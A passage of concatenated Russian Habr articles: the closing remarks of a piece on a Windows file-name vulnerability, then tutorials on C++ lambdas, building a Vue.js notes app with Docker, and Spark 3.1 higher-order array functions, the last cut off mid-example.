чего зависит вывод ошибки, я так и не успел разобраться и оставляю на суд общественности. ### Лирическое отступление Отрадно заметить, что репорт у китайцев нашел и Маг, который опубликовал ее в числе прочих в статье [«Малоизвестные способы атак на web-приложения»](http://snipper.ru/view/18/maloizvestnye-sposoby-atak-na-web-prilozheniya) еще 19 апреля, но пояснения и акцента на этой уязвимости там не было, был только китайский пример, с которого я и начинал. ### Мораль Честно говоря, очень хотелось найти альтернативу нуль-байту, но тщетно. Зато данная уязвимость открывает простор для других, не менее интересных атак. По сути, предоставляя возможности поиска директории и файлов через функции работы с файлами. Это само по себе уникальное явление. Как бы там ни было, респект китайцам с их фаззингом, но призываю и их, и всех остальных исследовать сырые данные, получаемые таким образом. Фаззинг фаззингом, а думать надо головой. ###### Полезные ссылки: * [Документация функции FindFirstFile](http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx) * [Спецификации по именам файлов (многие трюки почерпаны оттуда)](http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx;) * [Сведения о сокращенных именах файлов в Windows](http://technet.microsoft.com/en-us/library/cc722482.aspx) * [Блог автора статьи (отвечает на вопросы, пишет по мере сил)](http://oxod.ru/) *Журнал Хакер, [Февраль (02) 145](http://www.xakep.ru/articles/magazine/default.asp) [Владимир «d0znp» Воронцов](http://onsec.ru)* Подпишись на «Хакер» * [1 999 р. за 12 номеров бумажного варианта](http://bit.ly/habr_subscribe_paper) * [1249р. за годовую подписку на iOS/iPad (релиз Android'а скоро!)](http://bit.ly/digital_xakep) * [«Хакер» на Android](http://bit.ly/habr_android)
https://habr.com/ru/post/112691/
null
ru
null
# Лямбды в C++. Как это работает Рассмотрим такой пример кода: ``` void f(int i) { auto g = [i](auto j) { return i + j; }; g = [i](auto j) { return i - j; }; g(1); } ``` При компиляции [возникнет](https://godbolt.org/z/5zjv1djae) ошибка в строке `g = [i](auto j)`. Почему так происходит? Дело в том, что лямбды в C++ — это всего-лишь синтаксический сахар над локальными классами/структурами с определённым [возможно шаблонным] оператором "скобки": ``` class Lambda1 { int i; public: Lambda1(int i) : i(i) {} template auto operator()(Ty j) { return i + j; } }; class Lambda2 { int i; public: Lambda2(int i) : i(i) {} template auto operator()(Ty j) { return i - j; } }; void f(int i) { auto g = Lambda1(i); g = Lambda2(i); g(1); } ``` Теперь причина ошибки [в строке `g = Lambda2(i);`] становится очевидной: Lambda1 и Lambda2 — это различные классы, которые ничего не знают друг о друге. Данные классы пришлось сделать глобальными, т.к. C++ всё ещё не поддерживает шаблонные методы в локальных классах. **В будущих версиях C++ вполне валидно будет писать так:** ``` void f(int i) { class Lambda1 { int i; public: Lambda1(int i) : i(i) {} template auto operator()(Ty j) { return i + j; } }; auto g = Lambda1(i); class Lambda2 { int i; public: Lambda2(int i) : i(i) {} template auto operator()(Ty j) { return i - j; } }; g = Lambda2(i); g(1); } ``` И в заключение. Чтобы приведённые примеры кода скомпилировались достаточно заменить `auto g` на `std::function g`. (Как работает `std::function` — это уже тема для отдельной статьи.)
https://habr.com/ru/post/691028/
null
ru
null
# Разработка более быстрых приложений на Vue.js JavaScript — это душа современных веб-приложений. Это — главный ингредиент фронтенд-разработки. Существуют различные JavaScript-фреймворки для создания интерфейсов веб-проектов. Vue.js — это один из таких фреймворков, который можно отнести к довольно популярным решениям. Vue.js — это прогрессивный фреймворк, предназначенный для создания пользовательских интерфейсов. Его базовая библиотека направлена, в основном, на создание видимой части интерфейсов. В проект, основанный на Vue, при необходимости легко интегрировать и другие библиотеки. Кроме того, с помощью Vue.js и с привлечением современных инструментов и вспомогательных библиотек, можно создавать сложные одностраничные приложения. [![](https://habrastorage.org/r/w780q1/webt/gc/bh/g1/gcbhg1ndc0-kd3usv2yigyzstjo.jpeg)](https://habr.com/ru/company/ruvds/blog/487684/) В этом материале будет описан процесс создания простого Vue.js-приложения, предназначенного для работы с заметками о неких задачах. [Вот](https://github.com/vivekcgi/sample-notes-app) репозиторий фронтенда проекта. [Вот](https://github.com/vivekcgi/sample-notes-app-service) — репозиторий его бэкенда. Мы, по ходу дела, разберём некоторые мощные возможности Vue.js и вспомогательных инструментов. Создание проекта ---------------- Прежде чем мы перейдём к разработке — давайте создадим и настроим базовый проект нашего приложения по управлению задачами. 1. Создадим новый проект, воспользовавшись интерфейсом командной строки Vue.js 3: ``` vue create notes-app ``` 2. Добавим в проект файл `package.json` следующего содержания: ``` {   "name": "notes-app",   "version": "0.1.0",   "private": true,   "scripts": {     "serve": "vue-cli-service serve",     "build": "vue-cli-service build",     "lint": "vue-cli-service lint"   },   "dependencies": {     "axios": "^0.19.1",     "buefy": "^0.8.9",     "core-js": "^3.4.4",     "lodash": "^4.17.15",     "marked": "^0.8.0",     "vee-validate": "^3.2.1",     "vue": "^2.6.10",     "vue-router": "^3.1.3"   },   "devDependencies": {     "@vue/cli-plugin-babel": "^4.1.0",     "@vue/cli-plugin-eslint": "^4.1.0",     "@vue/cli-service": "^4.1.0",     "@vue/eslint-config-prettier": "^5.0.0",     "babel-eslint": "^10.0.3",     "eslint": "^5.16.0",     "eslint-plugin-prettier": "^3.1.1",     "eslint-plugin-vue": "^5.0.0",     "prettier": "^1.19.1",     "vue-template-compiler": "^2.6.10"   } } ``` 3. Установим зависимости, описанные в `package.json`: ``` npm install ``` Теперь, после того, как база приложения готова, мы можем переходить к следующему шагу работы над ним. Маршрутизация ------------- Маршрутизация (routing) — это одна из замечательных возможностей современных веб-приложений. Маршрутизатор можно интегрировать в Vue.js-приложение, воспользовавшись библиотекой `vue-router`. Это — официальный маршрутизатор для Vue.js-проектов. Среди его возможностей отметим следующие: * Вложенные маршруты/представления. * Модульная конфигурация маршрутизатора. * Доступ к параметрам маршрута, запросам, шаблонам. * Анимация переходов представлений на основе возможностей Vue.js. * Удобный контроль навигации. * Поддержка автоматической стилизации активных ссылок. * Поддержка HTML5-API history, возможность использования URL-хэшей, автоматическое переключение в режим совместимости с IE9. * Настраиваемое поведение прокрутки страницы. Для реализации маршрутизации в нашем приложении создадим, в папке `router`, файл `index.js`. Добавим в него следующий код: ``` import Vue from "vue"; import VueRouter from "vue-router"; import DashboardLayout from "../layout/DashboardLayout.vue"; Vue.use(VueRouter); const routes = [   {     path: "/home",     component: DashboardLayout,     children: [       {         path: "/notes",         name: "Notes",         component: () =>           import(/* webpackChunkName: "home" */ "../views/Home.vue")       }     ]   },   {     path: "/",     redirect: { name: "Notes" }   } ]; const router = new VueRouter({   mode: "history",   base: process.env.BASE_URL,   routes }); export default router; ``` Рассмотрим объект `routes`, который включает в себя описание маршрутов, поддерживаемых приложением. Здесь используются вложенные маршруты. Объект `children` содержит вложенные маршруты, которые будут показаны на странице приложения, представляющей его панель управления (файл `DashboardLayout.vue`). Вот шаблон этой страницы: ``` ``` В этом коде самое важное — тег `router-view`. Он играет роль контейнера, который содержит все компоненты, соответствующие выводимому маршруту. Основы работы с компонентами ---------------------------- Компоненты — это базовая составляющая Vue.js-приложений. Они дают нам возможность пользоваться модульным подходом к разработке, что означает разбиение DOM страниц на несколько небольших фрагментов, которые можно многократно использовать на различных страницах. При проектировании компонентов, для того, чтобы сделать их масштабируемыми и подходящими для повторного использования, нужно учитывать некоторые важные вещи: 1. Идентифицируйте отдельный фрагмент функционала, который можно выделить из проекта в виде компонента. 2. Не перегружайте компонент возможностями, не соответствующими его основному функционалу. 3. Включайте в состав компонента только тот код, который будет использоваться для обеспечения его собственной работы. Например — это код, обеспечивающий работу стандартных для некоего компонента привязок данных, вроде года, пола пользователя, и так далее. 4. Не добавляйте в компонент код, обеспечивающий работу с внешними по отношению к компоненту механизмами, например — с некими API. Здесь, в качестве простого примера, можно рассмотреть навигационную панель — компонент `NavBar`, содержащий только описания DOM-структур, относящихся к средствам навигации по приложению. Код компонента содержится в файле `NavBar.vue`: ```       [![](@/assets/logo.png)](/home/notes) ``` Вот как этот компонент используется в `DashboardLayout.vue`: ``` import NavBar from "@/components/NavBar"; export default {   components: {     NavBar   } }; ``` Взаимодействие компонентов -------------------------- В любом веб-приложении чрезвычайно важна правильная организация потоков данных. Это позволяет эффективно манипулировать и управлять данными приложений. При использовании компонентного подхода, при разделении разметки и кода приложения на небольшие части, перед разработчиком встаёт вопрос о том, как передавать и обрабатывать данные, используемые различными компонентами. Ответом на этот вопрос является организация взаимодействия компонентов. Взаимодействие компонентов в Vue.js-проекте можно организовать с использованием следующих механизмов: 1. Свойства (props) используются при передаче данных от родительским компонентам дочерним компонентам. 2. Метод $emit() применяется при передаче данных от дочерних компонентов родительским компонентам. 3. Глобальная шина событий (EventBus) используется в тех случаях, когда применяются структуры компонентов с глубокой вложенностью, или тогда, когда нужно, в глобальном масштабе приложения, организовать обмен между компонентами по модели «издатель/подписчик». Для того чтобы разобраться с концепцией взаимодействия компонентов в Vue.js, добавим в проект два компонента: * Компонент `Add`, который будет использоваться для добавления в систему новых задач и для редактирования существующих задач. * Компонент `NoteViewer`, предназначенный для вывода сведений об одной задаче. Вот файл компонента `Add` (`Add.vue`): ```               Add Note               Update Note                     Cancel                     Add                     Update export default {   props: {     addMode: {       type: Boolean,       required: false,       default() {         return true;       }     },     note: {       type: Object,       required: false,       default() {         return {           content: {             title: "",             description: "",             isComplated: false           }         };       }     }   },   methods: {     addNote() {       this.$emit("add", this.note);     },     updateNote() {       this.$emit("update", this.note);     },     cancelNote() {       this.$emit("cancel");     }   } }; ``` Вот файл компонента `NoteViewer` (`NoteViewer.vue`): ```             Created at {{ note.content.createdAt }}         **{{ note.content.title }}**         {{ note.content.description }} export default {   name: "NoteViewer",   props: {     note: {       type: Object,       required: true     }   },   methods: {     editNote() {       this.$emit("edit", this.note);     },     deleteNote() {       this.$emit("delete", this.note);     },     markCompleted() {       this.$emit("markCompleted", this.note);     }   } }; ``` Теперь, когда компоненты созданы, изучим их разделы `</code>.<br/> <br/> В объекте <code>props</code> объявлены некоторые объекты с указанием их типов. Это — те объекты, которые мы собираемся передавать компоненту тогда, когда он будет выводиться на некоей странице приложения.<br/> <br/> Кроме того, обратите внимание на те участки кода, где используется метод <code>$emit()</code>. С его помощью дочерний компонент генерирует события, посредством которых данные передаются родительскому компоненту.<br/> <br/> Поговорим о том, как применять в приложении компоненты <code>Add</code> и <code>NoteViewer</code>. Опишем в файле <code>Home.vue</code>, приведённом ниже, механизмы передачи данных этим компонентам и механизмы прослушивания событий, генерируемых ими:<br/> <br/> <pre><code class="html"><template>   <div class="container">     <div class="columns">       <div class="column is-12">         <button           class="button is-primary is-small is-pulled-right"           title="Add New Note"           @click="enableAdd()"         >           <b-icon pack="fas" icon="plus" size="is-small" />         </button>       </div>     </div>     <div class="columns">       <div class="column is-12">         <note-editor           v-show="enableAddNote"           :key="enableAddNote"           @add="addNote"           @cancel="disableAdd"         />         <div v-for="(note, index) in data" :key="index">           <note-viewer             v-show="note.viewMode"             :note="note"             @edit="editNote"             @markCompleted="markCompletedConfirm"             @delete="deleteNoteConfirm"           />           <note-editor             v-show="!note.viewMode"             :add-mode="false"             :note="note"             @update="updateNote"             @cancel="cancelUpdate(note)"           />         </div>       </div>     </div>   </div> </template> <script> // @ is an alias to /src // import NoteEditor from "@/components/NoteEditor.vue"; import NoteEditor from "@/components/Add.vue"; import NoteViewer from "@/components/NoteViewer.vue"; export default {   name: "Home",   components: {     // NoteEditor,     NoteEditor,     NoteViewer   },   data() {     return {       enableAddNote: false,       data: []     };   },   mounted() {     this.getNotes();   },   methods: {     enableAdd() {       this.enableAddNote = true;     },     disableAdd() {       this.enableAddNote = false;     },     async getNotes() {       this.data = [];       const data = await this.$http.get("notes/getall");       data.forEach(note => {         this.data.push({           content: note,           viewMode: true         });       });     },     async addNote(note) {       await this.$http.post("notes/create", note.content);       this.disableAdd();       await this.getNotes();     },     editNote(note) {       note.viewMode = false;     },     async updateNote(note) {       await this.$http.put(`notes/${note.content.id}`, note.content);       note.viewMode = true;       await this.getNotes();     },     cancelUpdate(note) {       note.viewMode = true;     },     markCompletedConfirm(note) {       this.$buefy.dialog.confirm({         title: "Mark Completed",         message: "Would you really like to mark the note completed?",         type: "is-warning",         hasIcon: true,         onConfirm: async () => await this.markCompleted(note)       });     },     async markCompleted(note) {       note.content.isCompleted = true;       await this.$http.put(`notes/${note.content.id}`, note.content);       await this.getNotes();     },     deleteNoteConfirm(note) {       this.$buefy.dialog.confirm({         title: "Delete note",         message: "Would you really like to delete the note?",         type: "is-danger",         hasIcon: true,         onConfirm: async () => await this.deleteNote(note)       });     },     async deleteNote(note) {       await this.$http.delete(`notes/${note.content.id}`);       await this.getNotes();     }   } };` Теперь, если присмотреться к этому коду, можно заметить, что компонент `Add`, носящий здесь имя `note-editor`, применяется дважды. Один раз — для добавления заметки, второй раз — для обновления её содержимого. Кроме того, мы многократно используем компонент `NoteViewer`, представленный здесь как `note-viewer`, выводя с его помощью список заметок, загруженный из базы данных, который мы перебираем с помощью атрибута `v-for`. Тут ещё стоит обратить внимание на событие `@cancel`, используемое в элементе `note-editor`, которое для операций `Add` и `Update` обрабатывается по-разному, даже несмотря на то, что эти операции реализованы на базе одного и того же компонента. ``` ``` Именно так можно избежать проблемы с масштабированием. Речь идёт о том, что если есть вероятность изменения реализации некоего механизма, то в такой ситуации компонент просто генерирует соответствующее событие. При работе с компонентами мы пользуемся динамическим внедрением данных. Например — атрибутом `:note` в `note-viewer`. Вот и всё. Теперь наши компоненты могут обмениваться данными. Использование библиотеки Axios ------------------------------ Axios — это библиотека, основанная на промисах, предназначенная для организации взаимодействия с различными внешними сервисами. Она обладает множеством возможностей и ориентирована на безопасную работу. Речь идёт о том, что Axios поддерживает защиту от XSRF-атак, перехватчики запросов и ответов, средства преобразования данных запросов и ответов, она поддерживает отмену запросов и многое другое. Подключим библиотеку Axios к приложению и настроим её, сделав так, чтобы нам не приходилось бы её импортировать при каждом её использовании. Создадим, в папке `axios`, файл `index.js`: ``` import axios from "axios"; const apiHost = process.env.VUE_APP_API_HOST || "/"; let baseURL = "api"; if (apiHost) {   baseURL = `${apiHost}api`; } export default axios.create({ baseURL: baseURL }); ``` В файл `main.js` добавим перехватчик ответов на запросы, предназначенный для взаимодействия с внешним API. Мы будем применять перехватчик для подготовки данных, передаваемых в приложение, и для обработки ошибок. ``` import HTTP from "./axios"; // Добавить перехватчик ответов HTTP.interceptors.response.use(   response => {     if (response.data instanceof Blob) {       return response.data;     }     return response.data.data || {};   },   error => {     if (error.response) {       Vue.prototype.$buefy.toast.open({         message: error.response.data.message || "Something went wrong",         type: "is-danger"       });     } else {       Vue.prototype.$buefy.toast.open({         message: "Unable to connect to server",         type: "is-danger"       });     }     return Promise.reject(error);   } ); Vue.prototype.$http = HTTP; ``` Теперь добавим в `main.js` глобальную переменную `$http`: ``` import HTTP from "./axios"; Vue.prototype.$http = HTTP; ``` Мы сможем работать с этой переменной во всём приложении через экземпляр Vue.js. Теперь мы готовы к выполнению запросов к API, которые могут выглядеть так: ``` const data = await this.$http.get("notes/getall"); ``` Оптимизация ----------- Представим, что наше приложение доросло до размеров, когда в его состав входят сотни компонентов и представлений. Это повлияет на время загрузки приложения, так как весь его JavaScript-код будет загружаться в браузер за один заход. Для того чтобы оптимизировать загрузку приложения, нам нужно ответить на несколько вопросов: 1. Как сделать так, чтобы компоненты и представления, которые в данный момент не используются, не загружались бы? 2. Как уменьшить размер загружаемых материалов? 3. Как улучшить время загрузки приложения? В качестве ответа на эти вопросы можно предложить следующее: сразу загружать базовые структуры приложения, а компоненты и представления загружать тогда, когда они нужны. Сделаем это, воспользовавшись возможностями Webpack и внеся в настройки маршрутизатора следующие изменения: ``` { path: "/notes", name: "Notes", component: () => import(/* webpackChunkName: "home" */ "../views/Home.vue") } // Взгляните на /* webpackChunkName: "home" */ ``` Это позволяет создавать для конкретного маршрута отдельные фрагменты с материалами приложения (вида `[view].[hash].js`), которые загружаются в ленивом режиме при посещении пользователем данного маршрута. Упаковка проекта в контейнер Docker и развёртывание --------------------------------------------------- Теперь приложение работает так, как нужно, а значит пришло время его контейнеризации. Добавим в проект следующий файл `Dockerfile`: ``` # build stage FROM node:lts-alpine as build-stage WORKDIR /app COPY package*.json ./ RUN npm install COPY . . ARG VUE_APP_API_HOST ENV VUE_APP_API_HOST $VUE_APP_API_HOST RUN npm run build # production stage FROM nginx:stable-alpine as production-stage COPY --from=build-stage /app/dist /usr/share/nginx/html COPY nginx.conf /etc/nginx/conf.d/default.conf EXPOSE 80 CMD ["nginx", "-g", "daemon off;"] ``` При использовании приложения в продакшне мы размещаем его за мощным HTTP-сервером вроде Nginx. Это позволяет защитить приложение от взломов и от других атак. Помните о переменной окружения, содержащей сведения о хосте, которую мы объявили, настраивая Axios? Вот она: ``` const apiHost = process.env.VUE_APP_API_HOST || "/"; ``` Так как это — браузерное приложение, нам нужно установить и передать в приложение эту переменную во время его сборки. Сделать это очень просто, воспользовавшись опцией `--build-arg` при сборке образа: ``` sudo docker build --build-arg VUE_APP_API_HOST=://:/ -f Dockerfile -t vue-app-image . ``` Обратите внимание на то, что вам понадобится заменить , и на значения, имеющие смысл для вашего проекта. После того, как контейнер приложения будет собран, его можно запустить: ``` sudo docker run -d -p 8080:80 — name vue-app vue-app-image ``` Итоги ----- Мы рассмотрели процесс разработки приложения, основанного на Vue.js, поговорили о некоторых вспомогательных средствах, затронули вопросы оптимизации производительности. Теперь с нашим приложением можно поэкспериментировать в браузере. [Вот](https://www.loom.com/share/1a49ad9f8c824a8388e216ce4d5afb1a) видео, демонстрирующее работу с ним. **Уважаемые читатели!** На что вы посоветовали бы обратить внимание новичкам, стремящимся разрабатывать высокопроизводительные Vue.js-приложения, которые хорошо масштабируются? [![](https://habrastorage.org/r/w1560/files/1ba/550/d25/1ba550d25e8846ce8805de564da6aa63.png)](https://ruvds.com/ru-rub/#order)
https://habr.com/ru/post/487684/
null
ru
null
# Функции высшего порядка в Spark 3.1 #### Обработка массивов в Spark SQL ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ac5/0af/018/ac50af0184cd8249b6b95921b839dccb.png)Сложные типы данных, такие как массивы (arrays), структуры (structs) и карты (maps), очень часто встречаются при обработке больших данных, особенно в Spark. Ситуация возникает каждый раз, когда мы хотим представить в одном столбце более одного значения в каждой строке, это может быть список значений в случае с типом данных массива или список пар ключ-значение в случае с картой. Поддержка обработки этих сложных типов данных была расширена, начиная с версии Spark 2.4, за счет выпуска функций высшего порядка (HOFs). В этой статье мы рассмотрим, что такое функции высшего порядка, как их можно эффективно использовать и какие связанные с ними функции были выпущены в последних выпусках Spark 3.0 и 3.1.1. Для кода будем использовать Python API. После агрегаций и оконных функций, которые мы рассмотрели в прошлой [статье](https://towardsdatascience.com/spark-sql-102-aggregations-and-window-functions-9f829eaa7549), HOF представляют собой еще одну группу более продвинутых преобразований в Spark SQL. Давайте сначала посмотрим на разницу между тремя сложными типами данных, которые предлагает Spark. **ArrayType** ``` l = [(1, ['the', 'quick', 'braun', 'fox'])] df = spark.createDataFrame(l, schema=['id', 'words']) df.printSchema() root |-- id: long (nullable = true) |-- words: array (nullable = true) | |-- element: string (containsNull = true) ``` В примере выше у нас есть `DataFrame` с двумя столбцами, где столбец `words` имеет тип массива. Это означает, что в каждой из строк `DataFrame` мы можем представить список значений, который может быть разного размера. Кроме того, элементы массива имеют определенный порядок. Важным свойством является однородность массивов по типу элементов, все элементы должны иметь одинаковый тип. Для доступа к элементам массивов мы можем использовать индексы следующим образом: ``` df.withColumn('first_element', col('words')[0]) ``` **StructType** `StructType` используется для объединения некоторых субполей, которые могут иметь разный тип (в отличие от массивов). Каждое субполе имеет тип, а также имя, которое должно быть одинаковым для всех строк в `DataFrame`. Неожиданным может оказаться то, что субполя внутри структуры имеют определенный порядок, поэтому сравнение двух структур s1==s2, имеющих одинаковые поля, но расположенные в разном порядке, приводит к `False`. Обратите внимание на фундаментальные различия между массивом и структурой: * массив: однороден по типам, допускается разный размер в каждой строке * структура: неоднородна по типам, требуется одинаковая схема для каждой строки **MapType** MapType можно рассматривать как смесь двух предыдущих типов: массив и структура. Представьте себе ситуацию, когда схема для каждой строки не задана, и вам необходимо поддерживать разное количество субполей в них. В таком случае вы не можете использовать структуру.  Но и массив не подходит из-за того, что каждый элемент имеет имя и значение (фактически это пара "ключ-значение") или по причине того, что элементы имеют разный тип - тогда в этом случае вам подойдет тип карта. С помощью типа карта вы можете хранить в каждой строке разное количество пар ключ-значение, но каждый ключ должен иметь один и тот же тип, а также все значения должны иметь один и тот же тип (который может отличаться от типа ключей). Порядок пар имеет значение. **Преобразование массивов** Прежде чем мы начнем говорить о преобразовании массивов, давайте сначала посмотрим, как можно его создать. Первый способ мы рассмотрели выше, где мы создали `DataFrame` из локального списка значений. С другой стороны, если у нас уже есть `DataFrame` и мы хотим сгруппировать некоторые столбцы в массив, можно использовать для этого функцию [*array()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.array.html#pyspark.sql.functions.array). Она позволяет создать массив из других существующих столбцов, поэтому, если у вас есть столбцы *a, b, c* и вы хотите, чтобы все значения были в массиве, а не в отдельных столбцах, вы можете сделать это следующим образом: ``` df.withColumn('my_arr', array('a', 'b', 'c')) ``` Кроме того, существуют функции, которые создают массив в результате преобразования. Это, например, функция [*split()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.split.html#pyspark.sql.functions.split), которая разбивает строку на массив слов. Другой пример - [*collect\_list()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.collect_list.html#pyspark.sql.functions.collect_list) или [*collect\_set()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.collect_set.html#pyspark.sql.functions.collect_set), которые являются агрегатными функциями, также создающими массив. А на практике наиболее распространенным способом получения массива в `DataFrame` является чтение данных из источника, поддерживающего сложные структуры данных, например, Parquet. В этом формате файлов некоторые столбцы могут храниться в виде массивов, поэтому Spark, естественно, будет считывать их в том же виде. Теперь, когда мы знаем, как создать массив, давайте посмотрим, как его можно преобразовать. Начиная с версии Spark 2.4 существует множество функций для преобразования массивов. Полный их список можно найти в [документации](https://spark.apache.org/docs/latest/api/python/reference/pyspark.sql.html#functions) PySpark. Например, все функции, начинающиеся с *array\_*, могут использоваться для обработки массивов, вы можете находить min-max значения, дедуплицировать массивы, сортировать их, объединять и так далее. Далее, есть также [*concat()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.concat.html#pyspark.sql.functions.concat), [*flatten()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.flatten.html#pyspark.sql.functions.flatten), [*shuffle()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.shuffle.html#pyspark.sql.functions.shuffle), [*size()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.size.html#pyspark.sql.functions.size), [*slice()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.slice.html#pyspark.sql.functions.slice), [*sort\_array()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.sort_array.html#pyspark.sql.functions.sort_array). Как видите, API в этом отношении достаточно развит, и существует множество операций, которые вы можете выполнять с массивами в Spark. Помимо вышеупомянутых функций, существует и такие, которые принимают в качестве аргумента другую функцию, впоследствии применяемую к каждому элементу массива - они называются функциями высшего порядка ( HOFs). Важно знать о них то, что в Python API они поддерживаются с версии 3.1.1, а в Scala API они появились в версии 3.0. С другой стороны, в выражениях SQL их можно использовать начиная с версии 2.4. Чтобы увидеть некоторые конкретные примеры, давайте рассмотрим следующий простой `DataFrame`: ``` l = [(1, ['prague', 'london', 'tokyo', None, 'sydney'])] df = spark.createDataFrame(l, ['id', 'cities']) df.show(truncate=False) +---+-------------------------------------+ |id |cities | +---+-------------------------------------+ |1 |[prague, london, tokyo, null, sydney]| +---+-------------------------------------+ ``` Допустим, мы хотим выполнить эти пять независимых задач: 1. Преобразовать начальную букву каждого города в верхний регистр. 2. Избавиться от нулевых значений в массиве. 3. Проверить, есть ли элемент, начинающийся с буквы t. 4. Проверить, есть ли в массиве нулевое значение. 5. Суммировать количество символов (длину) каждого города в массиве. Это несколько типичных примеров задач, которые можно решить с помощью HOFs. Поэтому давайте рассмотрим их по очереди: **TRANSFORM** Для решения первой задачи мы можем использовать HOF [*transform*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.transform.html#pyspark.sql.functions.transform), которая просто берет анонимную функцию, применяет ее к каждому элементу исходного массива и возвращает другой преобразованный массив. Синтаксис следующий: ``` df \ .withColumn('cities', transform('cities', lambda x: initcap(x))) \ .show(truncate=False) +---+-------------------------------------+ |id |cities | +---+-------------------------------------+ |1 |[Prague, London, Tokyo, null, Sydney]| +---+-------------------------------------+ ``` Как видите, `transform()` принимает два аргумента, первый - массив, который должен быть преобразован, а второй - анонимная функция. Чтобы выполнить преобразование, используем [*initcap()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.initcap.html#pyspark.sql.functions.initcap) внутри анонимной функции и применяем ее к каждому элементу массива - это именно то, что позволяет сделать `transform` HOF. С выражениями SQL его можно использовать следующим образом: ``` df.selectExpr("id", "TRANSFORM(cities, x -> INITCAP(x)) AS cities") ``` Обратите внимание, что анонимная функция в SQL выражается с помощью стрелочной (->) нотации. **FILTER** Во второй задаче мы хотим отфильтровать нулевые значения из массива. Для этого (как и для любой другой фильтрации) можно использовать [*filter*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.filter.html#pyspark.sql.functions.filter) HOF. Он позволяет нам применить анонимную функцию, которая возвращает булево значение (*True/False*) для каждого элемента, и она вернет новый массив, содержащий только элементы, для которых функция вернула `True`: ``` df \ .withColumn('cities', filter('cities', lambda x: x.isNotNull())) \ .show(truncate=False) +---+-------------------------------+ |id |cities | +---+-------------------------------+ |1 |[prague, london, tokyo, sydney]| +---+-------------------------------+ ``` Здесь в анонимной функции мы вызываем функцию PySpark [*isNotNull()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.Column.isNotNull.html#pyspark.sql.Column.isNotNull). Синтаксис SQL выглядит следующим образом: ``` df.selectExpr("id", "FILTER(cities, x -> x IS NOT NULL) AS cities") ``` **EXISTS** В следующей задаче мы хотим проверить, содержит ли массив элементы, удовлетворяющие некоторому определенному условию. Обратите внимание, что это более общий пример ситуации, в которой мы хотим проверить наличие определенного элемента. Например, если же мы хотим проверить, содержит ли массив элемент `city prague` (город Прага), можно просто вызвать функцию [*array\_contains*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.array_contains.html#pyspark.sql.functions.array_contains): ``` df.withColumn('has_prague', array_contains('cities', 'prague')) ``` С другой стороны, [*exists*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.exists.html#pyspark.sql.functions.exists) HOF позволяет нам применять более общее условие к каждому элементу. Результат теперь не массив, как это было в двух предыдущих HOF, а просто *True/False*: ``` df \ .withColumn('has_t_city', exists('cities', lambda x: x.startswith('t'))) \ .show(truncate=False) +---+-------------------------------------+----------+ |id |cities |has_t_city| +---+-------------------------------------+----------+ |1 |[prague, london, tokyo, null, sydney]|true | +---+-------------------------------------+----------+ ``` Здесь, в анонимной функции, мы использовали функцию PySpark [*startswith()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.Column.startswith.html#pyspark.sql.Column.startswith). **FORALL** Четвертый вопрос: мы хотим проверить, удовлетворяют ли все элементы массива какому-то условию. Для нашего примера нужно определить, что все они не равны нулю (null): ``` df \ .withColumn('nulls_free',forall('cities', lambda x: x.isNotNull()))\ .show(truncate=False) +---+-------------------------------------+----------+ |id |cities |nulls_free| +---+-------------------------------------+----------+ |1 |[prague, london, tokyo, null, sydney]|false | +---+-------------------------------------+----------+ ``` Как видите, [*forall*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.forall.html#pyspark.sql.functions.forall) очень похож на *exists*, только теперь мы проверяем, выполняется ли условие в отношении всех элементов, а раньше искали хотя бы один. **AGGREGATE** В последней задаче мы хотим просуммировать длины каждого слова в массиве. Это является примером ситуации, в которой необходимо свести весь массив к одному значению, и для такого рода задач можно использовать [*aggregate*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.aggregate.html#pyspark.sql.functions.aggregate) HOF. ``` df \ .withColumn('cities', filter('cities', lambda x: x.isNotNull())) \ .withColumn('cities_len', aggregate('cities', lit(0), lambda x, y: x + length(y))) \ .show(truncate=False) +---+-------------------------------+----------+ |id |cities |cities_len| +---+-------------------------------+----------+ |1 |[prague, london, tokyo, sydney]|23 | +---+-------------------------------+----------+ ``` И с помощью SQL: ``` df \ .withColumn("cities", filter("cities", lambda x: x.isNotNull())) \ .selectExpr( "cities", "AGGREGATE(cities, 0,(x, y) -> x + length(y)) AS cities_len" ) ``` Как вы можете видеть, синтаксис немного сложнее по сравнению с предыдущими HOF. *aggregate* принимает больше аргументов, первый - это массив, который мы хотим преобразовать, второй - это исходное значение, с которого собираемся начать. В нашем случае начальное значение равно нулю (*lit(0)*), и мы будем добавлять к нему величину длины каждого города. Третий аргумент - анонимная функция, и теперь она сама принимает два аргумента - первый (в нашем примере *x*) - это подвижный буфер, к которому мы добавляем длину следующего элемента, представленного вторым аргументом (в нашем примере *y*). Дополнительно может быть предоставлен четвертый аргумент, который представляет собой еще одну анонимную функцию, преобразующую конечный результат. Это полезно, если мы хотим сделать более сложную агрегацию. Например, если мы хотим вычислить среднюю длину, нам нужно иметь два значения, *сумму* и *количество*, чтобы разделить их в последнем преобразовании следующим образом: ``` ( df .withColumn('cities', filter('cities', lambda x: x.isNotNull())) .withColumn('cities_avg_len', aggregate( 'cities', struct(lit(0).alias('sum'), lit(0).alias('count')), lambda x, y: struct( (x.sum + 